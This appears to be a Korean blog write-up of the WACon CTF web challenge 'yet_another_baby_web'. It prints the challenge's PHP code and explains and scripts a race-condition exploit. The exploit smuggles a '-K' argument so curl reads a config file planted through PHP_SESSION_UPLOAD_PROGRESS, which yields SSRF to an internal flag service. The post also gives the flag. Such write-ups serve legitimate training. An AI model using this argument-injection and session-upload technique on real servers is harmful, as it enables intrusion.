ash3r & dmawhwhd
Wacon - yet_another_baby_web 본문
<?php
session_start();
if (!isset($_POST["url"])) {
highlight_file(__FILE__);
}
function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr($chars, 0, 8) . '-'
. substr($chars, 8, 4) . '-'
. substr($chars, 12, 4) . '-'
. substr($chars, 16, 4) . '-'
. substr($chars, 20, 12);
return $uuid;
}
function Check($url)
{
$blacklist = "/\}|\{|\[|\]|\:|f|g|[\x01-\x1f]|[\x7f-\xff]|['\"]/i";
if (is_string($url)
&& strlen($url) < 4096
&& !preg_match($blacklist, $url)) {
return true;
}
return false;
}
if (!isset($_SESSION["uuid"])) {
$_SESSION["uuid"] = uuid();
}
echo $_SESSION["uuid"]."</br>";
if (Check($_POST["url"])) {
$url = escapeshellarg($_POST["url"]);
$cmd = "/usr/bin/curl ${url} --output - -m 3 --connect-timeout 3";
echo "your command: " . $cmd . "</br>";
$res = shell_exec($cmd);
} else {
die("error~");
}
if (strpos($res, $_SESSION["uuid"]) !== false) {
echo $res;
} else {
echo "you cannot get the result~";
}
서버 코드인데 curl 요청을 보내줍니다. 하지만 libcurl이 아닌 linux curl을 사용합니다. 이 부분에서 조금 이상하다 생각이 들었는데, linux curl 에서는 url 요청에서 [], {}등을 사용할 수가 있었습니다.
근데 생각해보니 필터링이 걸려있어 다른 방법을 통해 풀어야했습니다. 그래서 찾은 option이 -K option입니다.
config file -K option은 test해본 결과 curl "-K/etc/passwd"와 같이 ""안에 사용할 수 있어 이 문제에서 사용할 수 있다고 생각했습니다. 그러면 file upload를 해야하는데 이는 PHP_UPLOAD_PROGRESS를 통해 업로드 할 수 있었습니다. PHP_UPLOAD_PROGRESS는 세션파일을 upload할 수 있는 기능입니다. 파일이 생성되는 경로는 /var/lib/php/sessions/sess_~~로 저장되기에 원하는 config file을 업로드할 수 있었습니다. 하지만 session파일은 serialize되어 업로드 되고 다른 data들도 들어있기에 실패할 줄 알았지만 curl이 이해할 수 있는 config만 이해를 해서 \n\nurl=www.google.com\n\n을 하면 제대로 해석되어 요청을 보내게 됩니다. 그래서 저는 \n\nurl=flag:31337\n\n을 통해 flag container에 접근하여 flag를 받아오려했습니다. 하지만 uuid가 curl result에 포함되어야 하기에 \n\nurl={flag:31337, uuid}를 통해 uuid에 요청을 보내어 result에 포함시켰습니다.
import requests
from threading import Thread
import time
url = "http://114.203.209.112:8000/index.phtml?fun_004ded7246=load"
#proxies = {"http":"http://127.0.0.1:8080"}
def init():
url = 'http://110.10.147.146:8000'
res = requests.get(url)
sess = res.headers['Set-Cookie'].split(';')[0]
uuid = res.text.split('</code>')[1].split("</br>")[0]
return sess, uuid
def exploit(uuid):
url = 'http://110.10.147.146:8000'
headers = {'Cookie': 'PHPSESSID=payload', "Connection":"close"}
data = {'PHP_SESSION_UPLOAD_PROGRESS': '\n\nurl="{flag:31337,%s}"\n\n'%uuid}
pay = open("admin","rb")
while True:
res = requests.post(url, headers=headers, files={'f':pay}, data=data)
pay.close()
def ssrf(sess):
url = 'http://110.10.147.146:8000'
headers = {'Cookie': sess, "Connection":"close"}
data = {'url':'-K/var/lib/php/sessions/sess_payload'}
while True:
res = requests.post(url, headers=headers, data=data)
print res.text
if("WACon" in res.text):
break
if __name__ == "__main__":
sess, uuid = init()
t1 = Thread(target=exploit, args=(uuid,))
t1.start()
t2 = Thread(target=ssrf, args=(sess,))
t2.start()
thread를 나눈 이유는 curl 요청에서 세션 파일을 읽어와야하는데 이는 uuid로 세션 파일이 계속 설정되기에 계속 요청을 보내어 타이밍이 맞는 순간 제가 원하는 요청을 보내게 하기 위해서 이렇게 payload를 작성했습니다.
flag: WACon{1s_this_w3b_0r_m1sc_IDK}
'CTF > web' 카테고리의 다른 글
Wacon - ppower (0) | 2022.07.05 |
---|---|
Wacon - sqqqli (0) | 2022.06.28 |
Wacon - Kuncɛlan (0) | 2022.06.28 |